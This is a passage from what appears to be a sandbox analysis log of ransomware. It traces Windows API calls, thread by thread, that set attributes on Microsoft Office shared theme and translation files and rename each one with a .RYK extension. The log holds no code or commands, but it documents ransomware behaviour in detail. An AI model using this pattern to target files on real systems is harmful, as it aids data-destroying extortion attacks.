	[0167.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0167.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.125] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.125] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 582
	os_tid = 0x1018

	[0167.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0167.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.117] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 583
	os_tid = 0x101c

	[0167.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", dwFileAttributes=0x80) returned 0
	[0167.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.132] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 584
	os_tid = 0x1020

	[0167.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", dwFileAttributes=0x80) returned 0
	[0167.133] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.134] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.134] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 585
	os_tid = 0x1024

	[0167.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0167.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.123] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.123] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 586
	os_tid = 0x1028

	[0167.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0167.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.126] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 587
	os_tid = 0x102c

	[0167.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", dwFileAttributes=0x80) returned 0
	[0167.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.135] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.135] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 588
	os_tid = 0x1030

	[0167.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", dwFileAttributes=0x80) returned 0
	[0167.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.136] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 589
	os_tid = 0x1038

	[0167.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0167.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.303] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.303] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 590
	os_tid = 0x103c

	[0167.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", dwFileAttributes=0x80) returned 0
	[0167.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.311] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 591
	os_tid = 0x1040

	[0167.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0167.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.306] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.306] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 592
	os_tid = 0x1044

	[0167.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0167.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.307] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.307] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 593
	os_tid = 0x1048

	[0167.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", dwFileAttributes=0x80) returned 0
	[0167.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.317] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 594
	os_tid = 0x104c

	[0167.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", dwFileAttributes=0x80) returned 0
	[0167.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.319] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.319] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 595
	os_tid = 0x1050

	[0167.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0167.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.320] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.321] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 596
	os_tid = 0x1054

	[0167.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0167.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.322] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.322] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 597
	os_tid = 0x1058

	[0167.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", dwFileAttributes=0x80) returned 0
	[0167.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.323] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.323] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 598
	os_tid = 0x105c

	[0167.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", dwFileAttributes=0x80) returned 0
	[0167.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.653] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 599
	os_tid = 0x1060

	[0167.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", dwFileAttributes=0x80) returned 0
	[0167.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.498] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.499] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 600
	os_tid = 0x1064

	[0167.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", dwFileAttributes=0x80) returned 0
	[0167.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.500] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.501] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 601
	os_tid = 0x1068

	[0167.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", dwFileAttributes=0x80) returned 0
	[0167.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.503] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 602
	os_tid = 0x106c

	[0167.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", dwFileAttributes=0x80) returned 0
	[0167.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.505] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.505] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 603
	os_tid = 0x1070

	[0167.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", dwFileAttributes=0x80) returned 0
	[0167.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.507] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 604
	os_tid = 0x1074

	[0167.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", dwFileAttributes=0x80) returned 0
	[0167.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.656] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 605
	os_tid = 0x1078

	[0167.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", dwFileAttributes=0x80) returned 0
	[0167.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.659] CloseHandle (hObject=0xffffffffffffffff) returned 0
